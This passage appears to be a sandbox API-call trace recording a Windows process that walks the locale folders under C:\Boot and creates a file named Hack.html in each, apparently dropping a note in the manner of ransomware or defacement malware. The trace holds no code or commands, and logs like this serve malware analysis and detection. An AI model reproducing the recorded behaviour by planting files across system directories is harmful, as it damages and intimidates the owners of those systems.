lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pl-PL\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.857] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\Hack.html" (normalized: "c:\\boot\\pl-pl\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.857] GetFileType (hFile=0x3cc) returned 0x1 [0065.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.857] GetFileType (hFile=0x3cc) returned 0x1 [0065.857] WriteFile (in: hFile=0x3cc, lpBuffer=0x27358dc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x27358dc*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.859] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0065.859] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\", lpFilePart=0x0) returned 0xe [0065.859] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.860] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.860] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.860] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.860] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.861] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x0) returned 0xd [0065.861] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\", lpFilePart=0x0) returned 0xe [0065.861] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.861] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.861] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.861] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.861] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.862] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-BR\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.862] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\Hack.html" (normalized: "c:\\boot\\pt-br\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.862] GetFileType (hFile=0x3cc) returned 0x1 [0065.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.862] GetFileType (hFile=0x3cc) returned 0x1 [0065.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.864] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0065.864] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\", lpFilePart=0x0) returned 0xe [0065.864] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.865] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.865] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.865] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.865] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.865] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x0) returned 0xd [0065.865] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\", lpFilePart=0x0) returned 0xe [0065.865] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.865] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.866] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.866] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.866] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.866] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\pt-PT\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.866] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.866] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\Hack.html" (normalized: "c:\\boot\\pt-pt\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.866] GetFileType (hFile=0x3cc) returned 0x1 [0065.866] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.866] GetFileType (hFile=0x3cc) returned 0x1 [0065.868] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.868] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0065.868] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\", lpFilePart=0x0) returned 0xe [0065.868] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.869] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.869] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.869] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.869] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.870] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU", lpFilePart=0x0) returned 0xd [0065.870] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\", lpFilePart=0x0) returned 0xe [0065.870] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.870] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.870] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.870] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.870] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.871] GetFullPathNameW (in: lpFileName="C:\\Boot\\ru-RU\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ru-RU\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.871] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\Hack.html" (normalized: "c:\\boot\\ru-ru\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.871] GetFileType (hFile=0x3cc) returned 0x1 [0065.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.871] GetFileType (hFile=0x3cc) returned 0x1 [0065.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.872] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0065.872] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\", lpFilePart=0x0) returned 0xe [0065.872] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.873] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.873] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.873] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.873] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.873] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.873] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.873] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE", lpFilePart=0x0) returned 0xd [0065.873] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\", lpFilePart=0x0) returned 0xe [0065.873] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.873] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.873] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.873] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.874] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.874] GetFullPathNameW (in: lpFileName="C:\\Boot\\sv-SE\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\sv-SE\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.874] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.874] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\Hack.html" (normalized: "c:\\boot\\sv-se\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.874] GetFileType (hFile=0x3cc) returned 0x1 [0065.874] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.874] GetFileType (hFile=0x3cc) returned 0x1 [0065.876] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.876] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0065.876] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\", lpFilePart=0x0) returned 0xe [0065.876] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.877] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.877] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.877] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.877] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.878] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR", lpFilePart=0x0) returned 0xd [0065.878] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\", lpFilePart=0x0) returned 0xe [0065.878] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.878] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.878] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.878] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.878] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.878] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.879] GetFullPathNameW (in: lpFileName="C:\\Boot\\tr-TR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\tr-TR\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.879] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.879] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\Hack.html" (normalized: "c:\\boot\\tr-tr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.879] GetFileType (hFile=0x3cc) returned 0x1 [0065.879] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.879] GetFileType (hFile=0x3cc) returned 0x1 [0065.880] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.880] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0065.880] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\", lpFilePart=0x0) returned 0xe [0065.880] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.881] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.881] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.881] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.881] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.881] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.881] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.881] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN", lpFilePart=0x0) returned 0xd [0065.881] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\", lpFilePart=0x0) returned 0xe [0065.881] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.881] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.882] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.882] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.882] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.882] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-CN\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-CN\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.882] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.882] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\Hack.html" (normalized: "c:\\boot\\zh-cn\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.882] GetFileType (hFile=0x3cc) returned 0x1 [0065.882] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.882] GetFileType (hFile=0x3cc) returned 0x1 [0065.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.883] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0065.884] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\", lpFilePart=0x0) returned 0xe [0065.884] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.885] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.885] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.885] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.885] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.885] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK", lpFilePart=0x0) returned 0xd [0065.885] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\", lpFilePart=0x0) returned 0xe [0065.885] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-HK\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.886] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.886] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.886] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.886] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.886] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-HK\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-HK\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.886] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\Hack.html" (normalized: "c:\\boot\\zh-hk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.886] GetFileType (hFile=0x3cc) returned 0x1 [0065.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.887] GetFileType (hFile=0x3cc) returned 0x1 [0065.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.888] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0065.888] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\", lpFilePart=0x0) returned 0xe [0065.888] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.888] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.888] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.888] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.889] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.889] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW", lpFilePart=0x0) returned 0xd [0065.889] GetFullPathNameW (in: lpFileName="C:\\Boot\\zh-TW\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\zh-TW\\", lpFilePart=0x0) returned 0xe [0065.889] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-TW\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.889] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.889] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.889] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.889] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.889] 